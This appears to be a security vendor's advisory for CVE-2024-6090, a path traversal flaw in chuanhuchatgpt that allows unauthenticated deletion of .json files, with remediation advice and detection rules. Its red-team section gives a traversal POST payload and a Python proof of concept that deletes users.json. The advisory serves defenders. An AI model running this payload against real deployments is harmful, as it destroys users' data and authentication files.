CVE-2024-6090
Executive Summary
CVE-2024-6090 is a critical path traversal vulnerability discovered in gaizhenbiao/chuanhuchatgpt version 20240410. The flaw allows any unauthenticated attacker to delete arbitrary .json files on the target system, including user chat histories and authentication-related files. This leads to a denial of service (DoS) condition where legitimate users cannot authenticate. The vulnerability is publicly known, and proof-of-concept (PoC) code is available. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Python-based application (chuanhuchatgpt). The application is not distributed via PyPI but is available as a GitHub repository. The lack of input validation in file deletion endpoints poses a direct supply chain risk for any organization deploying this software. Users should treat this as a critical dependency risk and consider forking or replacing the component.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The high integrity and availability impacts stem from the ability to delete critical .json files, including user data and authentication tokens, effectively breaking the application.
Deep Dive & Mechanics
The vulnerability resides in the file deletion functionality of chuanhuchatgpt. The application fails to sanitize user-supplied input used to construct file paths. By injecting path traversal sequences (e.g., ../), an attacker can escape the intended chat history directory and delete arbitrary .json files anywhere on the filesystem.
The core issue is that the application uses user input directly in file operations without validating that the resolved path stays within an allowed directory. This allows an attacker to delete files such as:
users.json(authentication database)config.json(application configuration)- Any other
.jsonfile on the system
The attack does not require authentication, making it especially dangerous for internet-facing instances.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable endpoint
@app.route('/delete_chat', methods=['POST'])
def delete_chat():
username = request.form['username']
chat_id = request.form['chat_id']
file_path = f"data/{username}/{chat_id}.json"
os.remove(file_path)
return "Deleted"
Patched Code (Conceptual):
import os
ALLOWED_DIR = os.path.abspath("data")
@app.route('/delete_chat', methods=['POST'])
def delete_chat():
username = sanitize_filename(request.form['username'])
chat_id = sanitize_filename(request.form['chat_id'])
file_path = os.path.abspath(f"data/{username}/{chat_id}.json")
if not file_path.startswith(ALLOWED_DIR):
return "Invalid path", 400
if not os.path.exists(file_path):
return "File not found", 404
os.remove(file_path)
return "Deleted"
The patched version uses os.path.abspath() to resolve the full path and then checks that it starts with the allowed directory. It also sanitizes filenames to remove path traversal characters.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running
chuanhuchatgptversion 20240410 - Network access to the application
Exploit Steps:
- Identify the vulnerable endpoint (e.g.,
/delete_chat). - Craft a POST request with path traversal payload:
POST /delete_chat HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded username=../..&chat_id=../../users - The application will delete
users.json(or any targeted.jsonfile). - Repeat to delete other critical files, causing a denial of service.
Proof-of-Concept (Python):
import requests
target = "http://target.com"
payload = {
"username": "../../",
"chat_id": "../../users"
}
r = requests.post(f"{target}/delete_chat", data=payload)
print(f"Status: {r.status_code}")
Blue Team
Detection:
- Monitor for POST requests to
/delete_chatwith unusual parameters. - Look for path traversal patterns (
../,..\\) in request parameters. - Alert on rapid deletion of multiple
.jsonfiles.
Hunting:
- Search logs for
os.removecalls with paths containing... - Check for missing
users.jsonorconfig.jsonfiles. - Review application logs for "FileNotFoundError" exceptions.
Containment:
- Immediately isolate the affected server.
- Restore deleted files from backups.
- Apply a WAF rule to block path traversal patterns.
Indicators of Compromise (IOCs)
- File Paths:
/data/../../users.json,/data/../../config.json - HTTP Requests: POST to
/delete_chatwithusername=../..orchat_id=../.. - Log Entries:
os.remove("/data/../../users.json")in application logs - Network: Outbound connections from the application to unknown IPs (if exfiltration occurs)
- System: Missing
.jsonfiles in the application data directory
Detection Engineering
YARA Rule
rule CVE_2024_6090_Path_Traversal {
meta:
description = "Detects path traversal attempts targeting chuanhuchatgpt"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-6090"
strings:
$path_traversal = /\.\.\/|\.\.\\/
$json_ext = ".json"
$delete_endpoint = "/delete_chat"
condition:
$delete_endpoint and $path_traversal and $json_ext
}
Sigma Rule
title: CVE-2024-6090 Path Traversal in chuanhuchatgpt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in chuanhuchatgpt
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/delete_chat'
cs-uri-query|contains:
- '../'
- '..\\'
condition: selection
falsepositives:
- Legitimate use of dots in filenames (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-6090 Path Traversal in chuanhuchatgpt"; flow:to_server,established; content:"POST"; http_method; content:"/delete_chat"; http_uri; content:"../"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the affected system from the network.
- Restore deleted
.jsonfiles from backups. - Apply a Web Application Firewall (WAF) rule to block path traversal patterns.
- Disable the vulnerable endpoint if not required.
Long-term Fix:
- Patch the application by implementing proper input validation and path sanitization (see patched code example).
- Upgrade to a patched version if the vendor releases one.
- Conduct a security audit of the entire application for similar vulnerabilities.
Compensating Controls:
- Run the application in a container with restricted filesystem access.
- Use a reverse proxy to filter malicious requests.
- Implement strict file permissions to limit the impact of file deletion.
Valters IT